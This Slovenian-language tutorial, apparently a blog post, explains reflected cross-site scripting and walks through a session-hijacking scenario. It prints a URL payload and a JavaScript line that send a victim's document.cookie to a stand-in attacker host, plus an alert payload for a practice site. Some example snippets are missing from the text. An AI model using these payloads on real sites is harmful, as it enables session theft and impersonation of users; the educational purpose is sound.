Kaj je skriptiranje med spletnimi mesti?
Cross-Site Scripting (XSS) je danes ena izmed najbolj priljubljenih tehnik napadov, znana kot boter napadov, in že vrsto let velja za najnevarnejšo tehniko napada na aplikacije.
Ne imenujemo ga na kratko CSS, da se izognete zamenjavi s konceptom Cascading Style Sheet HTML.
Tehnika
XSS temelji na vstavljanju nevarnih skriptov v izvorno kodo spletne aplikacije. Za izvajanje zlonamerne kode Javascript za prevzem uporabnikove prijavne seje.
Za boljše razumevanje si oglejmo naslednji primer. Spletna aplikacija, ki omogoča tiskanje vrednosti, ki jo posredujemo prek URL-ja, ob predpostavki, da v spremenljivki imena posredujemo vrednost Ping:

Zaenkrat je vse v redu, preglejmo izvorno kodo html:

Enostavno je videti, da je bila vrednost imena, ki smo jo vnesli, vstavljena v izvorno kodo. Torej je možno, da se lahko karkoli uvoženega tudi vstavi. Težava postane resna, če vnesena vrednost ni običajen niz, kot je zgoraj, ampak potencialno nevaren del kode, nekaj takega:
Poskusite znova z zgornjo vrednostjo:

Iz tega primera lahko sklepamo dvoje. Prvič, spremenljivka imena lahko sprejme katero koli vhodno vrednost in jo posreduje strežniku za obdelavo. Drugič, strežnik te vhodne vrednosti ni nadzoroval, preden jo je vrnil v brskalnik. To vodi do vstavitve kode javascript v izvorno kodo.
XSS je na splošno razdeljen na 3 glavne vrste: z refleksijo, shranjeno in na osnovi DOM. V tem članku bom omenil predvsem tehniko Reflected XSS.
Do 75 % tehnik XSS temelji na Reflected XSS. Imenuje se odraženo, ker mora v tej vrsti scenarija izkoriščanja heker žrtvi poslati URL, ki vsebuje zlonamerno kodo (običajno javascript). Žrtev mora samo zahtevati ta URL in heker bo takoj prejel odgovor z želenim rezultatom (tukaj prikazana refleksivnost). Poleg tega je znan tudi kot XSS prvega reda.
Scenarij rudarjenja v resničnem življenju
Obstaja veliko načinov za izkoriščanje napake Reflected XSS, eden najbolj znanih načinov je prevzem uporabnikove seje, s čimer dostopa do podatkov in pridobi svoje pravice na spletnem mestu.
Podrobnosti so opisane v naslednjih korakih:

1. Uporabnik se prijavi v splet in predvideva, da je dodeljena seja:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Heker nekako uporabniku pošlje URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Recimo, da je example.com spletno mesto, ki ga obišče žrtev, hacker-site.net pa je spletno mesto, ki ga je ustvaril heker
3. Žrtev dostopa do zgornjega URL-ja
4. Strežnik odgovori žrtvi skupaj s podatki, ki jih vsebuje zahteva (hekerjev javascript delček)
5. Brskalnik žrtve prejme odgovor in izvede javascript
6. Dejanski javascript, ki ga je ustvaril heker, je naslednji:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Zgornja ukazna vrstica v bistvu pošlje zahtevo hekerjevemu mestu s parametrom, ki je uporabniški piškotek:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Z vašega mesta bo heker ujel zgornjo vsebino zahteve in menil, da je uporabnikova seja prevzeta. Na tej točki lahko heker lažno predstavlja žrtev in uveljavi vse pravice na spletnem mestu, ki jih ima žrtev.
Vadite
Google je tukaj ustvaril stran za vadbo izkoriščanja napak XSS: https://xss-game.appspot.com
Cilj teh izzivov je, da morate vstaviti skripte, da se prikaže pojavno okno. Prvi izziv je ponazoriti odraženo tehniko, koda za uporabo je precej preprosta:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Vso srečo!